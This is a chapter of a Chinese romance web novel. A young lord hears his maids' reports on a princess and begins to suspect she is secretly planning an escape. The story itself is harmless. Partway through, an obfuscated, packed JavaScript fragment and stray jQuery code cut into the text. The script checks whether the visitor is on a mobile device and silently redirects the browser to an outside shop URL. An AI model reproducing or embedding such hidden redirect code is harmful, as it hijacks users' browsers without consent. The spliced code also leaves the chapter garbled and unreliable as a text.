32/
意乱不定。
原白凤不打算再接触茯神,按照最开始的计划,让从小长在他身边的侍女去照顾她。
但顿了顿,又吩咐她们每日前来回禀。
派去的两个侍女,一个叫画扇,一个叫冷屏。
画扇娇憨活泼机灵,冷屏稳重妥帖谨慎。
第一日原白凤一直不语,只按部就班做自己的事情。
直到傍晚,画扇主动前来回话。
因着原白凤当初吩咐时候状似随意,画扇不知道他想听什么。
公子一向温和,她于是也没什么畏怕,便捡些茯神和她们相处的过程,自顾自想到什么说什么,说着说着想说什么说什么。
“公主人很好,没什么架子,一点也不像个公主。”她说着自顾自笑起来,“我夸她手指好看,她就送了我一瓶香膏,是她自己做的,涂在手上香香润润的。公主说,这样手就会像她一样好看了。公子看画扇的手有好看一点吗?”
她说得是高兴了。
原白凤见她一团孩子气,只顾自己好玩。
不知道自己当初为什么调她来,若是换其他伶俐的婢女,回得绝不会这样乱七八糟东拉西扯毫无章法。
画扇见他不笑不语,知道自己回得不好,收敛了笑容,眨巴着眼睛,直问道:“公子想听什么?”
他不说她怎么知道。
“你仔细些说来。你们见到她时,她是何表现,没有看到我来,咳,她……”
画扇顿时明白了,她竟没把公主和公子的关系往风月之事上想,不然她怎么会不知道怎么回答。
赶忙补救道:“刚见到我们,公主神情有些意外。我们说,‘公子有事忙,男子到底不便侍奉公主左右,因此特意调遣我们来陪伴公主。’公主并未露出失望神色,也没有问过公子何时来看她,之后也没有再提及过您。”
画扇暗自高兴,她这次回得可好了吧,公子定然满意。
原白凤:“……”
他早知道她不会对于他的缺席感到失落,听到后还是笔下一划,废了一张纸。
原白凤虽未言语。
但他向来狐狸眼带笑,一个总是言笑戏谑的人却忽然沉默不语,那比冷了脸更唬人。
画扇疑惑,她自小侍奉公子,怎么会不懂对方的情绪。
但是,公子派她们来难道不就是想搪塞摆脱爱慕他的女子的纠缠吗?
现在三公主半点纠缠在意也无,听到这个回答公子难道不该松一口气感到满意吗?
所以他究竟是高兴还是不高兴?
她竟不懂了。
原白凤没有表露任何,只让画扇回去。
过了一会儿,他令人差遣冷屏来回话。
冷屏回得不偏不倚,更条理分明,客观细致,但答案别无二致。
原白凤到底无话可说。
事实就是,茯神在这两个女孩子面前,比在他面前的时候自在。
对于他的不出现,非但没有失望,似乎反而更乐于这个结果。
原白凤依旧没有表露什么,让冷屏回去。
只是吩咐,让她回禀的频率改成一日两次。
他决心不见她,便坚定执行着自己的决定。
但知道她的消息,不算违规。
他没有想见她,只是忍不住想知道,关于她的一切。
原白凤从她们的回话里听到了另一个茯神。
和他面前不同的,感到全然安全后彻底放松的茯神的样子。
总是冷淡的,戒备警惕着什么的公主,私下里的样子。
她喜欢她们,对于这些女孩子毫无冰冷,更不设防。
“公主什么都不懂,不习惯被服侍,洗澡的时候即便我们是女孩子她也会感到羞怯,不让我们近身碰触。哪怕蒙着眼睛,也还是会紧张。”
“公主很可爱,公子送来的衣服太过华丽复杂,公主自己不会穿,给公主穿衣服的过程很有趣,像装扮娃娃一样。”
“公主喜欢分享,她的东西都分给我们。有点太过大方慷慨了。”
“公主很好哄,像小孩子一样,让她感到信任后,就会乖乖配合。”
“公主很依赖人,喜欢听人说话,喜欢撒娇,容易寂寞,感到不安。晚上睡觉时候,会让我们陪她一起躺在床上,搂着我的胳膊,枕在我们肩上,和我们聊天。”
“聊天的内容公子也要知道吗?不是什么特别的内容,就是一些小事,女孩子之间的话题……公主会问我们的事情,家人,小时候,当婢女如何生活……”
“公主会问很多问题,经过的城池,生活在这里的世族,京都的世族和格局。会问不同地方的粮价,我们的月钱,各种很小的事情……公主就像小孩子一样,小孩子对什么都好奇,公主也是那样。”
原白凤听着。
茯神的印象却更加模糊不清。
她有时候是天真懵懂的,像个不谙世事的孩童。
有时候却好像极擅长令人喜欢她,世家长大的婢女是很重上下尊卑关系的,哪怕主子表现得再亲善,阶级也是刻入骨子里的,哪怕是看上去最娇憨的画扇,也绝不敢真的主仆不分。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968421|192728||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>原白凤能听出来,她们言语里潜意识对茯神的态度,有意无意把她当作了没有安全感粘人需要人保护关爱的孩子。
他早觉察到,她们的回话里在有意无意保护她,他才是她们的主人,但她们并不多说一字能讨好他,却对她有妨碍,出卖她私隐之事的话。
她们不谈论她的美丽,她的肌肤,她被碰触之后的紧张是何反应。
她们将她隔绝在男人可能的视线和想象之外。
这和原白凤之前了解的茯神并不一样。
如果她有这样的能力,为何不去讨好受宠的二公主软宁,以及二公主身边的大宫女们?
处境也不至于如此。
有时候原白凤觉得她好像在洞悉什么。
就像他们打仗前通过那些细枝末节的讯息刺探敌方,她问的这些问题并不是寻常人会关心,会感到好奇的,即便让冷屏她们复述,她们都会因为感到枯燥无聊而无法全然记得。
这些问题掺杂在一起,又的确令人觉得是胡乱问的。
不,不对。
她应该问胭脂水粉,问最新的布匹丝绸,那才是与她生活相关的,除非……
原白凤想起初遇那天她的逃跑,脑海闪过一个有些匪夷所思的念头——
他怀疑她在通过他的婢女套话,寻找逃走后如何生活的方式。
这些聊天内容里,即便是成熟稳重谨慎的冷屏也将自己的事情不知不觉说了个干净,但她们却对她的过去一无所知。
她们不知道她在陈郡是如何生活的。
不知道她过去有什么朋友,喜欢什么,同什么人交好,想要什么,只知道她纯真懵懂如孩童,非常容易满足,是个很好伺候很好说话很慷慨甚至好糊弄的主人。
她们对她和她的事情,只知道水面上最清浅的一层。
这绝非偶然。
通常人与人交往,想要知道对方的信息,是很难做到不主动表露自己的,来获取进一步信任。
那日河边的情景又一次浮现在原白凤眼前。
其中的怪异矛盾之处,重新冒了出来。
那看上去清浅简单的少女,偶尔表露出来的费解的神秘,就只是源自她独特的气质吗?
确定没有其他吗?
是的,他对她的了解太少了。
他应该弄清楚,她究竟是个什么样的人,藏着什么样的秘密。
他只是好奇这个,而并非其他。
吸引他的是她的神秘,而不是什么浅薄情爱。
时隔两日,他给自己找到了一个合情合理见她的理由。